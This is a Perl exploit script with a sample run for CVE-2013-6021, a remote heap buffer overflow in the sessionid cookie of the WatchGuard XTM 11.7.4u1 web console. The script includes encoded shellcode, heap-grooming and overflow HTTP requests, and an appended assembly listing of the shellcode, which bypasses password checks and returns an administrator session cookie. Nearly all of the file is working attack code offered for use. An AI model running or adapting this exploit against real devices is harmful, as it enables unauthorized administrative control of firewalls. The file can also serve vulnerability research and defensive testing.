#!/usr/bin/perl -w =header ********************************************************************* ** WatchGuard Firewall XTM version 11.7.4u1 ** ** Remote buffer overflow exploit ~ sessionid cookie ** ********************************************************************* ** ** ** Author: jerome.nokin@gmail.com ** ** Blog: http://funoverip.net ** ** CVE: CVE-2013-6021 ** ** ** ********************************************************************* ** ** ** - Bug, exploit & shellcode details available on: ** ** http://funoverip.net/?p=1519 ** ** ** ** - Decoded shellocde can be found at the end of this file ** ** ** ********************************************************************* =cut =output sample [*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong' [*] Checking sessionid cookie for bad chars [*] Checking shellcode for bad chars [*] Heap messaging (request 1) : ... [*] Sending authentication bypass shellcode (request 2) [*] HTTP Response : -------------------------------------------------------------------------------- HTTP/1.1 200 OK Content-type: text/xml Set-Cookie: sessionid=6B8B4567327B23C6643C98696633487300000014 Date: Sun, 27 Oct 2013 21:11:38 GMT Server: none Content-Length: 751 sid6B8B4567327B23C6643C98696633487300000014 response readwrite privilege2 peer_sid0 peer_nameerror peer_ip0.0.0.0 -------------------------------------------------------------------------------- [*] Over. =cut use warnings; use strict; use IO::Socket::SSL; # host and port of the XTM web console my $host = "192.168.60.200"; my $port = "8080"; # Shellcode (watch out bad chars) my $shellcode = # shellcode: bypass password verification and return a session cookie "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" . "KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" . "eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" . "9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" . "RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" . "sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" . "ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" . "benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" . "LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A"; # Shellocde max length my $shellcode_max_len = 2000; # set our shellcode address into EAX (expected by alpha2 encoder) my $alpha2_ecx24 = "\x8b\x41\x24" . # mov eax, [ecx+0x24] "\x29\xd0" . # sub eax, edx ; (edx is updated by nopsled) "\x83\xc0\x40" . # add eax, 0x40 "\x83\xe8\x35"; # sub eax, 0x35 # for the reader, "add eax, edx" contains bad chars. # This is the reason why the nopsled decrement EDX and that we use "dec eax, edx" # flush after every write $| = 1; # HTTP POST data for authentication request my $login_post_data = "login" . "passwordfoo" . "useradmin" . ""; # list of bad characters my @badchars = ( "\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters ); # function: Check input for badchars. sub check_badchars { my $in = shift; my $stop = 0; for(my $i=0; $inew( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!"; if($sock){ my $req = "GET /ping HTTP/1.0\r\n" . "Host:$host:$port" . "\r\n" . "\r\n"; # send ping print $sock $req; my $resp=''; my $pong = 0; # read answer while (my $line = <$sock>){ if($line =~ /pong/) { $pong = 1;} $resp .= $line; } # got pong ? if($pong){ print "OK. Got 'pong'\n"; }else{ print "ERROR. Expecting 'pong' response but received :\n"; print $resp; exit; } close $sock; }else{ print "ERROR: Socket failed !\n"; exit; } } # function: HTTP request used for HEAP messaging phase sub building_request_step1 { my $sessionid = "A" x 120; # do not overflow now my $req = "POST /agent/ping HTTP/1.1\r\n" . "Host:$host:$port" . "\r\n" . "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0 " . "a" x 100 . "\r\n" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" . "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" . "Cookie: sessionid=" . $sessionid . "\r\n" . "Accept-Charset: utf-8\r\n" . "Content-Type: application/xml\r\n" . "Content-Length: 3\r\n" . "\r\n" . "foo" ; return $req; } # function: HTTP request used for buffer overflow exploitation sub building_request_step2 { my $sessionid = "A" x 140 . # junk "\x44\x85" ; # off by 2 overflow to reach 0x8068544 (on the heap). # 0x8068544 contains a "good memory chunk" which satisfy all rules print "[*] Checking sessionid cookie for bad chars\n"; check_badchars($sessionid); my $req = "POST /agent/ping HTTP/1.1\r\n" . "Host:$host:$port" . "\r\n" . "User-Agent: " . "a" x 1879 . "\r\n" . "Connection: keep-alive" . "a" x 22 . "\x4a" x ($shellcode_max_len - length($shellcode) - length($alpha2_ecx24)) . # nops $alpha2_ecx24 . # set EAX to shellcode addr $shellcode . # shellcode "\r\n" . "Accept-Encoding: identity," . "b" x 1386 . "\r\n" . "Cookie: sessionid=" . $sessionid . "\r\n" . "Accept-Charset: utf-8\r\n" . "Content-Type: application/xml\r\n" . "Content-Length: " . length($login_post_data). "\r\n" . "\r\n" . $login_post_data ; return $req; } # function: Send an HTTP request. sub send_http_request { my $req = shift; my $read_answer = shift || 0; my $http_resp=''; # Open socket my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!"; if($sock){ print $sock $req; # do we need the answer ? if ($read_answer){ my $is_chunked = 0; my $is_body = 0; while(my $line = <$sock>){ if($line =~ /Transfer-Encoding: chunked/){ $is_chunked = 1; next; } if($line eq "\r\n"){ # we reached the body if($is_chunked){ $line = <$sock>; # chunk length $line =~ s/\r\n//g; $sock->read(my $data, hex($line)); # read chunk $http_resp .= sprintf "Content-Length: %d\r\n\r\n", hex($line); $http_resp .= $data; close $sock ; return $http_resp; } } $http_resp .= $line; } } close $sock; }else{ print "ERROR: Socket failed !\n"; exit; } return $http_resp; } ### MAIN #### # print banner print << 'EOF'; ********************************************************** ** WatchGuard Firewall XTM version 11.7.4u1 ** ** Remote buffer overflow exploit ~ sessionid cookie ** ********************************************************** ** ** ** Author: jerome.nokin@gmail.com ** ** Blog: http://funoverip.net ** ** CVE: CVE-2013-6021 ** ** ** ********************************************************** ** ** ** Bug, exploit & shellcode details available on: ** ** http://funoverip.net/?p=1519 ** ** ** ********************************************************** EOF # Send an HTTP ping request testing_connectivity(); # building HTTP requests my $request_step1 = building_request_step1(); my $request_step2 = building_request_step2(); # Testing shellcode against bad cahrs print "[*] Checking shellcode for bad chars\n"; check_badchars($shellcode); # Fillin the heap print "[*] Heap messaging (request 1) : "; for(my $i=0 ; $i<3 ; $i++){ send_http_request($request_step1); print "."; } print "\n"; # Exploiting print "[*] Sending authentication bypass shellcode (request 2)\n"; my $resp = send_http_request($request_step2,1); print "[*] HTTP Response : \n\n"; print "-" x 80 . "\n"; print $resp; print "-" x 80 . "\n\n"; print "[*] Over.\n"; exit; =shellcode ;------------------------------------------------ ; shellcode-get-gession.asm ; by Jerome Nokin for XTM(v) 11.7.4 update 1 ;------------------------------------------------ global _start _start: ; current EBP/ESP values ;------- ; esp 0x3ff0b518 ; ebp 0x3ff0b558 ; first, fix the stack in HTTP_handle_request function ; ------- ; esp 0x3ff0b6f0 ; ebp 0x3ffffcb8 ; we'll do ;--------- ;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472' ; 3ff0b6f0 ; ESP = ESP + 472 ;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312' ; 3ffffcb8 ; EBP = EBP + 1001312 ; fix ESP/EBP add esp, 472 add ebp, 1001312 ; fixing overwritten ptrs ; finding initial malloc pointer v50 (overwritten) ; 0805f000-08081000 rwxp 00000000 00:00 0 [heap] ; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14) ; example inside gdb ;b *0x8051901 ;b *0x80519c0 ;(gdb) x/xw $ebp-0xf8 <===== v55 ;0x3ffffbc0: 0x08065b90 ;(gdb) x/xw $ebp-0xfc <===== v54 ;0x3ffffbbc: 0x08067fe0 ;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90 <==== search seq on heap ;0x8063b48 ;1 pattern found. ;(gdb) x/xw 0x8063b48-0x10 <==== initial malloc ptr (v50) is at 0x8063b48-0x10 ;0x8063b38: 0x00000001 ; search this sequence on the heap mov eax, [ebp-0xfc] ; v54 mov ebx, [ebp-0xf8] ; v55 mov edi, 0x0805f000 ; heap start addr loop: add edi, 4 lea esi, [edi+4] cmp esi, 0x08081000 ; edi is out of the heap ? je loop_end cmp [edi], eax ; cmp v54 jne loop cmp [edi+4], ebx ; cmp v55 je found jmp loop loop_end: mov eax, 0x08063b38 ; default value (should not be reached) found: lea eax, [edi-0x10] ; eax = v50 address (malloc ptr addr) ; EBP-0x10c ; saved content of v50 (malloc) = ebp-0x10c mov [ebp-0x10c], eax ; reset EBX (see following) ; 805185c: e8 95 43 00 00 call 8055bf6 ; 8051861: 81 c3 93 c7 00 00 add ebx,0xc793 ; .... ; 8055bf6: 8b 1c 24 mov ebx,DWORD PTR [esp] ; 8055bf9: c3 ret mov ebx, 0x805dff4 ; EBP-0x108 ; just reset it to 0 mov dword [ebp-0x108], 0x0 ; EBP-0x100 ; 80519b1: 8b 40 0c mov eax,DWORD PTR [eax+0xc] ; 80519b4: 89 85 00 ff ff ff mov DWORD PTR [ebp-0x100],eax mov eax, [eax+0xc] mov [ebp-0x100], eax ; simulate call to login function. copy args mov ecx, [ebp-0x10c] mov eax, [ebp-0x198] mov edx, [ebp-0x194] mov [esp+0x4],eax mov [esp+0x8],edx mov [esp],ecx ; Now setup the login function stack ; current esp/ebp ; ---------------- ; esp 0x3ff0b6f0 ; ebp 0x3ffffcb8 ; we want to land into the login function ; --------------------------------------- ; esp 0x3ff0b420 ; ebp 0x3ff0b6e8 ; we'll do ;--------- ; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720' ; 3ff0b420 ; ESP = ESP - 720 ; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912' ; 3ff0b6e8 ; EBP = EBP - 1000912 ; stack fix sub esp, 720 sub ebp, 1000912 ; EBX -> .GOT (same as above btw) mov ebx, 0x805dff4 ; simulate "decode HTTP content" fct, at top of the login function mov edx, [ebp+0x8] mov edx, [edx+0x8] mov dword [esp+0x4], 0x0 ; no content_encoding header mov [esp], edx mov esi, 0x0804d990 call esi ; decode content mov [ebp-0x70],eax ; int decoded_content; // [sp+258h] [bp-70h]@1 ; simulate "search remote_address" mov eax, [ebp+0x8] mov eax, [eax+0x14] mov [esp+0x4],eax lea eax,[ebx-0x3ceb] mov [esp],eax mov esi, 0x804b670 ;FCGX_GetParam call esi add eax, 0x7 ; remove '::ffff:' ====> to improve mov [ebp-0x60], eax ; is_admin = 4 mov dword [ebp-0x48], 0x4 ; simulate "search req_user value" mov eax, [ebp-0x70] mov eax, [eax+0x50] mov dword [esp+0x8],0x0 lea edx,[ebx-0x3c93] mov [esp+0x4],edx mov [esp],eax mov esi, 0x804c07e call esi ; mov [ebp-0x68],eax ; v49 = 2 (ipv4) mov word [ebp-0x5a], 0x2 ; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1 ; challenge mov dword [ebp-0x6c], 0x0 ; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1 ; set v43 to null mov dword [ebp-0x74], 0x0 ;int v43; // [sp+254h] [bp-74h]@1 ; ok, we are ready to jump in the middle of the "login" function ; right after the password verification ; jump here ; 804ee4b: c7 44 24 04 00 12 00 mov DWORD PTR [esp+0x4],0x1200 ; 804ee52: 00 ; 804ee53: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 ; 804ee5a: e8 11 c4 ff ff call 804b270 mov edi, 0x804ee4b jmp edi =cut